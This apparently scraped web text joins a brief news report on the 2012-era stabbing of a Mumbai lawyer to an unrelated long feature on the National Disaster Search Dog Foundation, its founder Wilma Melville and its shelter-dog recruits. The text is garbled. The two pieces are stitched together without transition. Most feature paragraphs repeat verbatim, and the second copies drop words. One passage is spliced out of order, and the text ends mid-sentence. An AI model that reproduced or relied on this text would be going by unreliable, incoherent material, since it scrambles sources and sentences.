The victim, Pallavi Purkayastha, was found in a pool of blood at her rented flat in 'Himalayan Heights' building at Wadala in central Mumbai by her live-in partner Avik Sengupta (26), also a lawyer, ACP Praveen Salunkhe said.
Her parents are both IAS officials and reside in Delhi.
"Pallavi's body has multiple stab injuries. The scene of crime indicates she struggled to save herself. When Avik returned home this morning at around 5:30 AM, he found that the door was slightly opened... he went inside and found the blood-soaked body of Pallavi with the throat slit, following which he informed the police," he said.
The victim had reportedly called her boyfriend late on Wednesday night saying that there was no electricity in the house.
Saajid Pathan, a security guard at the building had reportedly gone to the house with an electrician, and the Indian Express has quoted unnamed police officials who said that he murdered her after she resisted his advances.
Purkayastha had reportedly made an attempt to escape and bloodstains were found at multiple locations in the house. She had even rung her neighbour's doorbell multiple times but no one answered, the report stated, adding that the electrician too has been detained by the police.
Callie was a washout. A Labrador retriever raised to be a seeing-eye dog, her bold curiosity was ill-suited to a life of leading around the blind, leaving her a born-and-bred worker with no job to do. Hayden bounced around central California shelters, an energetic black Lab with scars on either side of his mouth from where someone had wired his jaws shut, probably to keep him from barking. Yellow Lab Riley had chewed and chased and just generally annoyed his way out of two homes. Pearl was a juvenile delinquent. A high-strung Lab with a largely absentee owner, she'd jailbreak out of the yard as often as she could, roaming free until animal control nabbed her. Tired of paying to bail Pearl out of the pound every time, one day her owner just left her there. Raider was a young pup living in a "kill" shelter. A good-looking Lab-shepherd mix, he had too much energy for homes with young children or too little space to run around in, and the shelter would only be able hold him for so long before they had to put him down. Tucker looked like Dr. Moreau had seen fit to put together a Lab's body, a racehorse's legs and a bear's paws, then left him to languish in a Northern California shelter. Yet all of these dogs are recent graduates and accomplished alumni of one of the world's most elite dog training programs, drawing dogs and trainers from across the country — a Navy Seal school for sniffers, an FBI Academy for flea bags — not in spite of the fact that they were rejects and washouts and shelter cases, but precisely because they were. There are currently 263 FEMA-certified search and rescue (SAR) dogs in the United States, ready to respond in minutes to local catastrophes, and within hours to the hurricanes, terrorist attacks, tsunamis, and earthquakes continually befalling the nation and the globe. Of those 263 dogs, 43 were trained by a single group, the National Disaster Search Dog Foundation (SDF). The two largest suppliers after that are California's Mountain View Kennels with 26 dogs and Maranatha Kennels in Maine with 20, but they're more homage than competitor, using the same evaluation and training techniques that the SDF pioneered to try to meet the country's ever-growing need for SAR dogs. Throw a single ball into a pit of balls and an SDF-trained pooch won't rest until she's found and returned the exact one you tossed, identifying it by the scent your hand left behind. Bury leftovers from last night's steak dinner in a pile of rubble, and she won't give it so much as a second sniff before going back to hunting down a target that's hidden somewhere else in the pile. At disaster sites, the animals work off-leash, operating with a degree of independence almost unknown even in the rarefied realm of elite working dogs. They crank out 12-hour shifts for days on end, able to distinguish between the individual scents of hundreds of rescuers working at a disaster site and that of a single victim still trapped beneath tons of debris. Two SDF-trained dogs spent last week scouring West, Texas, after a massive fertilizer plant explosion there devastated the surrounding neighborhoods, killing 15 people and injuring over 200 more. In a residential disaster like that, as with hurricanes Sandy and Katrina, the biggest difficulty for first responders is to search and "clear" surrounding areas of victims. For human searchers, it's an incredibly time-consuming process of knocking on front doors, peering through windows, and getting inside every building they can, then hoping that they didn't miss anyone who was trapped and unconscious, sleeping, or otherwise unable to communicate. A pair of dogs though can do the work of dozens of people, able to quickly sniff around suburban homes and zip through apartment hallways with far greater accuracy than their plodding human counterparts. After Hurricane Sandy, SDF dog teams found many elderly and handicapped apartment dwellers who were unharmed but stuck inside with no water or electricity. When it comes to selectivity, Harvard has nothing on these pooches. In 2012, a pair of SDF recruiters visited thousands of dogs in shelters and kennels, tested 223, and recruited just 40. Of those, three have graduated the program, eight are still in training, and 29 have failed out. Yet the SDF doesn't recruit from the pricey kennel clubs and dog breeding programs that produce the vast majority of America's working K-9s. They come more from The Bad News Bears school of talent evaluation, scouring the overlooked and the abandoned for those diamonds in the rough who can be turned from rescued dogs into rescue dogs. It's a counterintuitive, but indisputably effective, strategy, and it all started with a retired physical education teacher who has reshaped the SAR dog world by trying to keep people like herself from joining it. Callie was a washout. A Labrador retriever raised to be a seeing-eye dog, her bold curiosity was ill-suited to a life of leading around the blind, leaving her a born-and-bred worker with no job to do. Hayden bounced around central California shelters, an energetic black Lab with scars on either side of his mouth from where someone had wired his jaws shut, probably to keep him from barking. Yellow Lab Riley had chewed and chased and just generally annoyed his way out of two homes. Pearl was a juvenile delinquent. A high-strung Lab with a largely absentee owner, she'd jailbreak out of the yard as often as she could, roaming free until animal control nabbed her. Tired of paying to bail Pearl out of the pound every time, one day her owner just left her there. Raider was a young pup living in a "kill" shelter. A good-looking Lab-shepherd mix, he had too much energy for homes with young children or too little space to run around in, and the shelter would only be able hold him for so long before they had to put him down. Tucker looked like Dr. Moreau had seen fit to put together a Lab's body, a racehorse's legs and a bear's paws, then left him to languish in a Northern California shelter. Yet all of these dogs are recent graduates and accomplished alumni of one of the world's most elite dog training programs, drawing dogs and trainers from across the country — a Navy Seal school for sniffers, an FBI Academy for flea bags — notof the fact that they were rejects and washouts and shelter cases, but precisely because they were. There are currently 263 FEMA-certified search and rescue (SAR) dogs in the United States, ready to respond in minutes to local catastrophes, and within hours to the hurricanes, terrorist attacks, tsunamis, and earthquakes continually befalling the nation and the globe. Of those 263 dogs, 43 were trained by a single group, the National Disaster Search Dog Foundation (SDF). The two largest suppliers after that are California's Mountain View Kennels with 26 dogs and Maranatha Kennels in Maine with 20, but they're more homage than competitor, using the same evaluation and training techniques that the SDF pioneered to try to meet the country's ever-growing need for SAR dogs. Throw a single ball into a pit of balls and an SDF-trained pooch won't rest until she's found and returned the exact one you tossed, identifying it by the scent your hand left behind. Bury leftovers from last night's steak dinner in a pile of rubble, and she won't give it so much as a second sniff before going back to hunting down a target that's hidden somewhere else in the pile. At disaster sites, the animals work off-leash, operating with a degree of independence almost unknown even in the rarefied realm of elite working dogs. They crank out 12-hour shifts for days on end, able to distinguish between the individual scents of hundreds of rescuers working at a disaster site and that of a single victim still trapped beneath tons of debris. Two SDF-trained dogs spent last week scouring West, Texas, after a massive fertilizer plant explosion there devastated the surrounding neighborhoods, killing 15 people and injuring over 200 more. In a residential disaster like that, as with hurricanes Sandy and Katrina, the biggest difficulty for first responders is to search and "clear" surrounding areas of victims. For human searchers, it's an incredibly time-consuming process of knocking on front doors, peering through windows, and getting inside every building they can, then hoping that they didn't miss anyone who was trapped and unconscious, sleeping, or otherwise unable to communicate. A pair of dogs though can do the work of dozens of people, able to quickly sniff around suburban homes and zip through apartment hallways with far greater accuracy than their plodding human counterparts. After Hurricane Sandy, SDF dog teams found many elderly and handicapped apartment dwellers who were unharmed but stuck inside with no water or electricity. When it comes to selectivity, Harvard has nothing on these pooches. In 2012, a pair of SDF recruiters visited thousands of dogs in shelters and kennels, tested 223, and recruited just 40. Of those, three have graduated the program, eight are still in training, and 29 have failed out. Yet the SDF doesn't recruit from the pricey kennel clubs and dog breeding programs that produce the vast majority of America's working K-9s. They come more fromschool of talent evaluation, scouring the overlooked and the abandoned for those diamonds in the rough who can be turned from rescued dogs into rescue dogs. It's a counterintuitive, but indisputably effective, strategy, and it all started with a retired physical education teacher who has reshaped the SAR dog world by trying to keep people like herself from joining it.
Minka Marcom-Rehwald
Wilma Melville had spent April 20, 1995, crammed into a cargo plane with dozens of FEMA rescue workers. They were all eager to stretch their legs and get to work, but as soon as people got off the bus from the airport, they froze. "You'd say, 'Hey, move, man! We're coming!'" says Melville, who was 61 at the time, "and then they'd move and you get out there, and you freeze, just the same way they did." The disembarking workers were stopped in their tracks by the sight of the block-long, nine-story-tall remains of the Alfred P. Murrah federal building in Oklahoma City, and the 30-foot wide crater in front of it. The structure had been blown up by Timothy McVeigh the previous morning with a blast that registered 3.0 on the Richter scale. The day of the bombings, Melville had been at home in Ojai, California, with her husband, packing for a vacation to Palm Springs. As one of the civilian handlers who made up FEMA's Search-and-Rescue (SAR) dog teams at that time, Melville knew there was a good chance she and her female Lab, Murphy, would be deployed. So she added three bags of deployment gear to the luggage. A day later, she was among the dumbstruck. After 10 days searching the Oklahoma City site, Melville returned home to Southern California, proud that she and Murphy had proven themselves a capable team, but worried about what exactly that meant. Melville had shown up in Oklahoma City — her first major deployment — expecting to be just about the worst, most inexperienced handler there. The fact that she wasn't meant the field had some serious issues. Wilma Melville had spent April 20, 1995, crammed into a cargo plane with dozens of FEMA rescue workers. They were all eager to stretch their legs and get to work, but as soon as people got off the bus from the airport, they froze. "You'd say, 'Hey, move, man! We're coming!'" says Melville, who was 61 at the time, "and then they'd move and you get out there, and you freeze, just the same way they did." The disembarking workers were stopped in their tracks by the sight of the block-long, nine-story-tall remains of the Alfred P. Murrah federal building in Oklahoma City, and the 30-foot wide crater in front of it. The structure had been blown up by Timothy McVeigh the previous morning with a blast that registered 3.0 on the Richter scale. The day of the bombings, Melville had been at home in Ojai, California, with her husband, packing for a vacation to Palm Springs. As one of the civilian handlers who made up FEMA's Search-and-Rescue (SAR) dog teams at that time, Melville knew there was a good chance she and her female Lab, Murphy, would be deployed. So she added three bags of deployment gear to the luggage. A day later, she was among the dumbstruck. After 10 days searching the Oklahoma City site, Melville returned home to Southern California, proud that she and Murphy had proven themselves a capable team, but worried about what exactly that meant. Melville had shown up in Oklahoma City — her first major deployment — expecting to be just about the worst, most inexperienced handler there. The fact that she wasn't meant the field had some serious issues.
Search Dog Foundation Wilma Melville and Murphy in Oklahoma City, 1995.
There are a wide variety of working-dog specialties. Some dogs sniff for bombs, others detect drugs, and both are often used for subduing suspects and enemy soldiers. Cadaver dogs are similar to SAR dogs, working off-leash with their noses in the air, searching large areas for human scent, but they specialize in bodies, where SAR dogs are trained to alert only on live human scent. There are even different types of SAR dogs — wilderness dogs search for human scent, but they can focus on only one person at a time, picking up the scent on the ground and tracking that smell to its source. But perhaps no working dogs are more independent and specially skilled than open-air, urban SAR dogs, who work off-leash at enormous disaster scenes, able to pick up and understand a wide array of human scent from the air around them. Any one of these kinds of dogs would have been at least somewhat useful at the Oklahoma City scene, but they were more than many crews could muster. "Some [task forces] came with dogs and I'd watch them walking along, and the dog is leashed and walking around on the rubble," remembers Melville. "On a leash? I thought. I asked one of my buddies what they were doing, and he said, 'The dogs aren't trained at all.' The FEMA-certified dogs were so few that they just brought regular dogs!" And it wasn't just the dogs that were underprepared. Many of the civilian handlers didn't understand the complex physics of a building collapse or the dynamics of air flow and scent movement through the rubble pile well enough to deploy their dogs in the most likely places to find survivors. These newbie dogs and handlers were more the exception than the rule in Oklahoma City, but there were simply too few of the experienced teams. "Here in California, the state legislature actually mandated that the state needed 96 K-9 disaster search teams," Melville says. But when McVeigh bombed the Murrah building, there were only about 15 FEMA Advanced Certified teams like Melville and Murphy in the entire country. "Before Oklahoma City, I knew all of this, but I wasn't that concerned. It was a hobby, and I had a hobby mentality. I didn't really expect to ever be deployed, to tell you the truth," says Melville. "Walking around Oklahoma City, talking to people, and seeing that the pain they were feeling was so immense, I think it had an impact on everyone who was deployed, but I can only really speak for myself." At the time, Melville had a pilot's license and had built her own plane. She was a competitive endurance horseback rider, going on races of up to 50 miles in a single day, sometimes for multiple days in a row. But energetic as she was, after the Oklahoma City bombing, Melville realized that being a SAR handler just wouldn't work with those other diversions. "I knew that the system was so badly broken that anything I can do will be an improvement," says Melville. "When I got home from Oklahoma City, I said, 'I think I have to go into town and rent a little office and get busy doing something about this.' I wondered when I'd get back out onto those mountains with my horse. And to be honest, I never have been back. That part of my life was over." So Melville rented an office for $125 a month in downtown Ojai, California, about 90 minutes northwest of L.A., and, without the least bit of experience in fundraising or nonprofit administration, started what has since become an eight-figure foundation that is now building the country's first centralized national SAR dog training center. There are a wide variety of working-dog specialties. Some dogs sniff for bombs, others detect drugs, and both are often used for subduing suspects and enemy soldiers. Cadaver dogs are similar to SAR dogs, working off-leash with their noses in the air, searching large areas for human scent, but they specialize in bodies, where SAR dogs are trained to alert only on live human scent. There are even different types of SAR dogs — wilderness dogs search for human scent, but they can focus on only one person at a time, picking up the scent on the ground and tracking that smell to its source. But perhaps no working dogs are more independent and specially skilled than open-air, urban SAR dogs, who work off-leash at enormous disaster scenes, able to pick up and understand a wide array of human scent from the air around them. Any one of these kinds of dogs would have been at least somewhat useful at the Oklahoma City scene, but they were more than many crews could muster. "Some [task forces] came with dogs and I'd watch them walking along, and the dog is leashed and walking around on the rubble," remembers Melville. "I thought. I asked one of my buddies what they were doing, and he said, 'The dogs aren't trained at all.' The FEMA-certified dogs were so few that they just brought regular dogs!" And it wasn't just the dogs that were underprepared. Many of the civilian handlers didn't understand the complex physics of a building collapse or the dynamics of air flow and scent movement through the rubble pile well enough to deploy their dogs in the most likely places to find survivors. These newbie dogs and handlers were more the exception than the rule in Oklahoma City, but there were simply too few of the experienced teams. "Here in California, the state legislature actually mandated that the state needed 96 K-9 disaster search teams," Melville says. But when McVeigh bombed the Murrah building, there were only about 15 FEMA Advanced Certified teams like Melville and Murphy. "Before Oklahoma City, I knew all of this, but I wasn't that concerned. It was a hobby, and I had a hobby mentality. I didn't really expect to ever be deployed, to tell you the truth," says Melville. "Walking around Oklahoma City, talking to people, and seeing that the pain they were feeling was so immense, I think it had an impact on everyone who was deployed, but I can only really speak for myself." At the time, Melville had a pilot's license and had built her own plane. She was a competitive endurance horseback rider, going on races of up to 50 miles in a single day, sometimes for multiple days in a row. But energetic as she was, after the Oklahoma City bombing, Melville realized that being a SAR handler just wouldn't work with those other diversions. "I knew that the system was so badly broken that anything I can do will be an improvement," says Melville. "When I got home from Oklahoma City, I said, 'I think I have to go into town and rent a little office and get busy doing something about this.' I wondered when I'd get back out onto those mountains with my horse. And to be honest, I never have been back. That part of my life was over." So Melville rented an office for $125 a month in downtown Ojai, California, about 90 minutes northwest of L.A., and, without the least bit of experience in fundraising or nonprofit administration, started what has since become an eight-figure foundation that is now building the country's first centralized national SAR dog training center.
Minka Marcom-Rehwald
I'm lying on my back in the dust, propped up slightly by the borrowed L.A. County Fire Department hardhat on my head. Curled into a space roughly the size of a short coffin, I'm buried beneath a creaking, rickety mess of wooden shipping pallets intended to resemble the sort of wreckage that SDF teams pored through in the aftermath of the Japanese earthquake and tsunami, and the flooded disaster zones of hurricanes Sandy and Katrina. I'm absolutely still, breathing as quietly as possible through my mouth so that the dirt and wood dust floating through the air don't cause an ill-timed sneeze. Captain Dennis Clark of the LACFD gives the command, and 80 pounds of dog comes crashing onto the pile. The wooden pallets shake and shift beneath him, but not before he's already leapt on to the next foothold like James Bond crossing an alligator-filled lagoon in Live and Let Die by actually running across the gators' backs, bounding onto the next floating footstool before the previous one can snap 007's leg with its jaws. From my dusty cave I can't see Rugby, but I have a pretty decent guess at what he looks like, his nose pointed up in the air, sniffing furiously as he scampers across the pile. Here some of Rugby's bloodhound-like physical features come in handy. The deep folds in his lips help trap scent for long enough to let him smell it, while all that fresh slobber running down his mouth washes old smells away to let new ones in. Rugby should be distracted by some of the beguilements in and around the wood pile. Heavy earth-moving equipment is clanking and crunching just a few hundred yards away. There are a handful of people on top of the pile itself, so Rugby has to distinguish between the smells of humans who are free and the one who's trapped. I've seen deer tracks nearby, and all manner of birds and rodents use the pile for shelter, leaving their scent behind. There are even the remnants of a rotisserie chicken dinner hidden somewhere in the pile. But a good SAR dog has laser-like focus, and my low-end estimate of a minute to find me turns out to have been not nearly low enough. Inside of 30 seconds or so, flecks of drool are seeping into my lair. Rugby hasn't barked yet but he's getting ready, starting to whine, his head and nose pointed down into the pile trying to figure out exactly where I am. Eventually he works his sniffer into a large gap between two pallets, gets a big whiff and lets out a loud, bellowing bark. I wait for a few more loud barks and stick the end of a rope toy out of the same hole Rugby shoved his nose through. He latches onto the rope and starts a moaning kind of growl, yanking and pulling and flinging slobber like whichever one was the dog in Turner and Hooch. It's all I can do to hold on to the rope and not get pulled out of my spot. After Rugby's had his fun, I climb out of the pile and one of the handlers hides in a different spot so the dogs can have another go, each of them taking a slightly different approach to the same job. Callie, the washout from seeing-eye dog school whose short, muscle-bound frame makes her look like a chubby house pet, is a little more aggressive but still slow and steady, testing footholds, shifting her weight cautiously and backtracking when needed. Pearl, the onetime runaway juvenile delinquent, is thoughtful, performing quick recon missions around the edges of a pile to look for the easiest means of ascent before making a clever leap to the top. Raider, the Lab-shepherd mix saved from a kill shelter, seems like he'd be right at home traipsing through Peruvian tombs with Harrison Ford. Rugby is actually the oddball of the group, recruited straight from a breeder as a pup and donated to the SDF by a charitable foundation. A long, lean, powerful dog, he probably would have played the dog equivalent of linebacker, driven a dog convertible, and dated the queen bitch of the prom, and he searches with that same blithe confidence of an alpha male who's always been on top. The woodpile search zone sits in the middle of the SDF's new training grounds, a 125-acre former horse farm in Santa Paula, California, a couple hours northeast of Los Angeles. When it's fully operational, it'll be the country's first SAR dog National Training Center. Nearing 80 now, Melville isn't as involved with the foundation as she used to be. She makes more time to see her four sons and six grandkids, and while she's never gotten back into endurance horse racing, she does find time to indulge another of her old hobbies, flying prop planes. She actually lives in a converted hangar at the Santa Paula Airport and spends much of the summer bush-piloting through the wilds of Idaho. The trouble in the SAR world, Melville tells me, is that there are plenty of smart people doing great work, but they're often isolated from other, less experienced trainers and handlers, who are left to fend for themselves. "Dogs and handlers are trained in little groups, with no central location," she says. "There are some recycling centers with rubble piles, but you can't bury people very deep in them safely. Well in a disaster, people are 10, 20 feet deep, and those people near the surface are found long before the dogs arrive." Melville's at the wheel of a side-by-side — basically a high-powered golf cart — at the crest of a small hill that overlooks the new property. The graduate dogs and their handlers, like Rugby and Captain Clark, are training on an agility course, while the SDF's head trainer, Sonja Heritage, is running drills with a group of new recruit dogs nearby. "And after a while," she continues, "the dog knows the rubble pile and all the hiding places in it. You need to change it every three or four months, but that's not something you can just do on your own. A big strong firefighter can move a piece of concrete that weighs 50 pounds? Perhaps 75? That's nothing in a big rubble pile." (A few days prior, I was on a training run with some of L.A. County's dog teams when we had to leave the enormous pile we'd spent an hour driving to — the contractor who owned the refuse was starting to crush some nearby concrete to recycle it for a new project. "For a few years, with the economy, the piles would just sit," said one handler. "But now things are picking back up, so they're using the concrete again.") It's taken Melville and the team she recruited more than 15 years and just over $15 million in fundraising to acquire the land and start planning a center worthy of the field, and rock), but they wouldn't keep airing it if so many people didn't open up their wallets at the sight of those pitiful creatures. And then turning those charity cases into lifesaving public servants? It's so thoroughly American, taking the tired, the poor, the huddled masses yearning to be free, and making productive citizens out of them. There's hardly a person in the world who couldn't get behind a cause like that, as Melville and her fundraising team have found out. She answers my questions politely but gives the impression that she thinks I'm missing the point. Melville rarely talks about herself — it's been something of an issue even getting her to use the first person — but she does it when she thinks her own life is a useful lens into some more important issue, and today that issue is the real insight she made years ago about training SAR dogs from which everything else — the foundation, the idea to recruit shelter dogs, the new National Training Center being built in the valley below us — was born. It started even before Melville was deployed to Oklahoma City, and it came, like most important insights, not as a flash of genius from the muse, but thanks to plenty of trial and just as much error. I'm lying on my back in the dust, propped up slightly by the borrowed L.A. County Fire Department hardhat on my head. Curled into a space roughly the size of a short coffin, I'm buried beneath a creaking, rickety mess of wooden shipping pallets intended to resemble the sort of wreckage that SDF teams pored through in the aftermath of the Japanese earthquake and tsunami, and the flooded disaster zones of hurricanes Sandy and Katrina. I'm absolutely still, breathing as quietly as possible through my mouth so that the dirt and wood dust floating through the air don't cause an ill-timed sneeze. Captain Dennis Clark of the LACFD gives the command, and 80 pounds of dog comes crashing onto the pile. The wooden pallets shake and shift beneath him, but not before he's already leapt on to the next foothold like James Bond crossing an alligator-filled lagoon inby actually running across the gators' backs, bounding onto the next floating footstool before the previous one can snap 007's leg with its jaws. From my dusty cave I can't see Rugby, but I have a pretty decent guess at what he looks like, his nose pointed up in the air, sniffing furiously as he scampers across the pile. Here some of Rugby's bloodhound-like physical features come in handy. The deep folds in his lips help trap scent for long enough to let him smell it, while all that fresh slobber running down his mouth washes old smells away to let new ones in. Rugby should be distracted by some of the beguilements in and around the wood pile. Heavy earth-moving equipment is clanking and crunching just a few hundred yards away. There are a handful of people on top of the pile itself, so Rugby has to distinguish between the smells of humans who are free and the one who's trapped. I've seen deer tracks nearby, and all manner of birds and rodents use the pile for shelter, leaving their scent behind. There are even the remnants of a rotisserie chicken dinner hidden somewhere in the pile. But a good SAR dog has laser-like focus, and my low-end estimate of a minute to find me turns out to have been not nearly low enough. Inside of 30 seconds or so, flecks of drool are seeping into my lair. Rugby hasn't barked yet but he's getting ready, starting to whine, his head and nose pointed down into the pile trying to figure out exactly where I am. Eventually he works his sniffer into a large gap between two pallets, gets a big whiff and lets out a loud, bellowing bark. I wait for a few more loud barks and stick the end of a rope toy out of the same hole Rugby shoved his nose through. He latches onto the rope and starts a moaning kind of growl, yanking and pulling and flinging slobber like whichever one was the dog in. It's all I can do to hold on to the rope and not get pulled out of my spot. After Rugby's had his fun, I climb out of the pile and one of the handlers hides in a different spot so the dogs can have another go, each of them taking a slightly different approach to the same job. Callie, the washout from seeing-eye dog school whose short, muscle-bound frame makes her look like a chubby house pet, is a little more aggressive but still slow and steady, testing footholds, shifting her weight cautiously and backtracking when needed. Pearl, the onetime runaway juvenile delinquent, is thoughtful, performing quick recon missions around the edges of a pile to look for the easiest means of ascent before making a clever leap to the top. Raider, the Lab-shepherd mix saved from a kill shelter, seems like he'd be right at home traipsing through Peruvian tombs with Harrison Ford. Rugby is actually the oddball of the group, recruited straight from a breeder as a pup and donated to the SDF by a charitable foundation. A long, lean, powerful dog, he probably would have played the dog equivalent of linebacker, driven a dog convertible, and dated the queen bitch of the prom, and he searches with that same blithe confidence of an alpha male who's always been on top. The woodpile search zone sits in the middle of the SDF's new training grounds, a 125-acre former horse farm in Santa Paula, California, a couple hours northeast of Los Angeles. When it's fully operational, it'll be the country's first SAR dog National Training Center. Nearing 80 now, Melville isn't as involved with the foundation as she used to be. She makes more time to see her four sons and six grandkids, and while she's never gotten back into endurance horse racing, she does find time to indulge another of her old hobbies, flying prop planes. She actually lives in a converted hangar at the Santa Paula Airport and spends much of the summer bush-piloting through the wilds of Idaho. The trouble in the SAR world, Melville tells me, is that there are plenty of smart people doing great work, but they're often isolated from other, less experienced trainers and handlers, who are left to fend for themselves. "Dogs and handlers are trained in little groups, with no central location," she says. "There are some recycling centers with rubble piles, but you can't bury people very deep in them safely. Well in a disaster, people are 10, 20 feet deep, and those people near the surface are found long before the dogs arrive." Melville's at the wheel of a side-by-side — basically a high-powered golf cart — at the crest of a small hill that overlooks the new property. The graduate dogs and their handlers, like Rugby and Captain Clark, are training on an agility course, while the SDF's head trainer, Sonja Heritage, is running drills with a group of new recruit dogs nearby. "And after a while," she continues, "the dog knows the rubble pile and all the hiding places in it. You need to change it every three or four months, but that's not something you can just do on your own. A big strong firefighter can move a piece of concrete that weighs 50 pounds? Perhaps 75? That's nothing in a big rubble pile." (A few days prior, I was on a training run with some of L.A. County's dog teams when we had to leave the enormous pile we'd spent an hour driving to — the contractor who owned the refuse was starting to crush some nearby concrete to recycle it for a new project. "For a few years, with the economy, the piles would just sit," said one handler. "But now things are picking back up, so they're using the concrete again.") It's taken Melville and the team she recruited more than 15 years and just over $15 million in fundraising to acquire the land and start planning a center worthy of the field, and of the Foundation's ambitions . Right now it's just a few buildings, some makeshift training grounds, and a whole bunch of big, loud construction equipment. The new dogs stay at a kennel and are driven in each day for training. But when it's finished, the SDF's new campus will feature a rubble pile where "victims" can be safely buried deep below the surface, and that can be (relatively) easily rearranged by earth-moving equipment to keep the dogs guessing. There'll be a 40-dog kennel, an actual, half-destroyed suburban neighborhood with houses and all, derailed train cars, an indoor "disaster dome" training facility that will be cooled below freezing to train for winter deployments, a lodge that will accommodate up to a dozen dog handlers, agility courses, classrooms with video links for training dogs around the world, a medical suite, and a memorial wall for SDF-trained pooches who've passed on after years of search and rescue service. The foundation hopes to have most of those capabilities built out by late 2014. I'm asking Melville about that fundraising effort, and the importance of training shelter dogs almost exclusively, in helping raise that money. Personally, I can't reach the remote fast enough whenever I hear that Sarah McLachlan song from the animal cruelty commercial (which is a shame because that song used to), but they wouldn't keep airing it if so many people didn't open up their wallets at the sight of those pitiful creatures. And then turning those charity cases into lifesaving public servants? It's so thoroughly American, taking the tired, the poor, the huddled masses yearning to be free, and making productive citizens out of them. There's hardly a person in the world who couldn't get behind a cause like that, as Melville and her fundraising team have found out. She answers my questions politely but gives the impression that she thinks I'm missing the point. Melville rarely talks about herself — it's been something of an issue even getting her to use the first person — but she does it when she thinks her own life is a useful lens into some more important issue, and today that issue is the real insight she made years ago about training SAR dogs from which everything else — the foundation, the idea to recruit shelter dogs, the new National Training Center being built in the valley below us — was born. It started even before Melville was deployed to Oklahoma City, and it came, like most important insights, not as a flash of genius from the muse, but thanks to plenty of trial and just as much error.
Minka Marcom-Rehwald
Before Murphy, the dog Melville brought to Oklahoma City, she had trained a German shepherd named Topa. "I worked at it with Topa for four or five years and made about as many mistakes as there are to make, because I was being trained by people who didn't know a hell of a lot," says Melville. One trainer all but strangled poor Topa, dragging her around on a choke collar. Other trainers were far better, but Melville and her dog just weren't learning as quickly as the retired teacher (you can tell she was a total badass in the classroom and ball fields, like Meryl Streep in Doubt, only with a whistle and sneakers instead of a nun's habit) thought they should be. "The rescue group I trained with only drilled once a month as a group," she says. "How can anybody learn anything once a month?" After years of setbacks working with Topa, Melville started hearing stories about a trainer named Pluis Davern, a longtime rescue and show-dog trainer and handler who ran Sundowner Kennels in Gilroy, just south of the Bay area. Davern was about the best trainer around, everyone agreed, but too far away to help Melville and Topa. "They were thinking, Who drives five hours each way for dog training?' Well I do, that's who!" says Melville. "And I didn't think it was anything. I'd spent five years on this, and this was the first time I found out that there was a professional, someone who actually knew how to do this, and could teach me! If she'd been on the East Coast I would've picked up and moved there for a month, six months, whatever it took." Melville began trekking up to Davern's kennel in Gilroy and making big improvements with Topa, but at some point Davern suggested that Melville start over with a new dog. Topa had been through a lot of bad training, some of which could be undone, but other problems were never going to go away. The most essential trait for a working dog is what trainers call "drive," a catchall term that combines energy, ambition, and focus. Trainers sometimes talk about wanting "crackhead" or "junkie" dogs with an obsessive addiction to toys and tug-of-war. It's said half in jest, but the analogy is about right. In the case of a good SAR dog, only the most dedicated tug-of-war fiends will scale steep ladders, climb over dangerous debris, and work their noses sore for hours on end just for a chance at that toy. Topa just didn't have it in her, so Melville retired her to a house pet's life of leisure. With Davern's help, she found a female black Lab that she named Murphy and went to work training her. "By less than 2 [years old], Murphy and I were FEMA certified in the advanced level," says Melville. "And I said, 'Well, I'll be damned, this is the way to do it! You need to have exact qualities, you can't just take any dog.'" Beyond drive, Melville also saw what an improvement a full-time, professional trainer made over the hodgepodge methods of scattered sheriffs' departments and dog trainers who handled most SAR training. Years of fruitless work could be condensed into about eight or nine months of work between a professional trainer and a driven dog. What you didn't need, Melville realized, was the dog's future handler. It was Melville's eureka moment, and the philosophical basis for the foundation. To that point, SAR handlers trained their own dogs, sometimes with great success, but far more often, without it. It's a bit like if Nascar drivers had to build and maintain their own car before they ever got a chance to drive one on the track. You might find a few brilliant mechanic-driver renaissance men, but plenty of great drivers and great mechanics would never make it to the big-time. "It's no wonder people are dropping out left and right, working three years and dropping out in disgust," Melville says. With Davern finding and training the dogs, Melville could find and train the handlers, and then they could pair dogs and handlers up and train them together for a couple of intensive weeks. It would be world's first SAR assembly line, capable of producing a far greater number of competent dog teams than the old way of relying on self-motivated individuals to find and train their own dogs. "If you can teach people to play tennis, field hockey, softball, or drive a car," Melville says, "then you can teach people to work with a dog, if that dog is already trained. That's the key: You just need to teach them to work with this dog. A blind person works for 30 days in a facility with a dog and then they go home. And they're getting on buses, on subways in New York City, crossing streets. That dog is responsible for that person's life, and it's all done in 30 days. Why can't we do it?" The irony for Melville was that she would be looking for handlers who were pretty much the opposite of herself. "I thought, why do we accept everybody that says, 'Oh, I think it'd be fun to train a rescue dog and go on deployments?' There isn't a single bit of fun in a disaster deployment. I said, 'Why would a woman in her early sixties with a highly trained dog make any sense to anyone?'" A firefighter or EMT with no dog experience couldn't be expected to train a dog from scratch on his own free time, but with a driven dog already trained by Davern, he wouldn't have to. He'd just have to keep working and drilling with the dog, just as firefighters are constantly training and drilling anyway. Pairing the animals with firefighters would also eliminate another problem: the way that the civilian dog handlers were perceived and treated in the field. "I remember going to one deployment and being excited because FEMA was supposed to have all these search and rescue operations," says retired FDNY Chief and collapse expert Vincent Dunn. "Then we had the meeting and it was just dogs. Dogs are great, don't get me wrong, but we were skeptical. And you know firefighters, they don't want competition — these cute dogs were going to get all the attention while we did all the work." "Some civilian handlers are outstanding because they take it on as their life," says Melville. "But how many people have jobs that let them deploy for 10 days? How many have an understanding of what it takes to really work at a disaster site for 12 hours a day, day after day, and then have families that understand that? If you have a wife and a family, they have to be willing to let you go for that long and have their own support networks at home for dealing with it." Despite SDF's perpetual impoverishment, the speed that Davern could train animals and Melville could match them with handlers meant that a significant percentage of new FEMA dogs were coming from the foundation, and that ruffled some feathers. Some old-school FEMA dog handlers considered it a point of pride that they were self-made civilian trainers and thought you had to pay your dues before you could handle a dog. And now these greenhorn firefighters and EMTs were coming in and taking their place. "Bringing somebody new in and giving them a trained dog, that created some resentment," says Sonja Heritage, who joined the SAR world after watching the Oklahoma City aftermath on television at her bartending job in Maryland. She's now one of the most experienced dog handlers in the country, with deployments to the World Trade Center, Haiti, Turkey, Taiwan, Nairobi, and a number of other disaster sites. Last year she moved to California to take over as the foundation's head trainer, so they could begin training dogs at the SDF's new campus, instead of at Davern's kennels in the Bay area. "It's a small, very homegrown industry, and Wilma and Pluis got a lot of backlash from that. When I worked as a judge for FEMA certification, you absolutely saw judges who were harder on handlers with dogs from the foundation. All I was ever interested in was training more dogs and training them well, and that's exactly what Wilma and Pluis were doing." For any field to prosper, it needs some form of self-criticism to keep it balanced and constantly improving. That's particularly difficult in the SAR world for two reasons. First, because large-scale disasters are (relatively) rare, there aren't many trials from which to learn from your errors. Second, because the work is done under such tragic 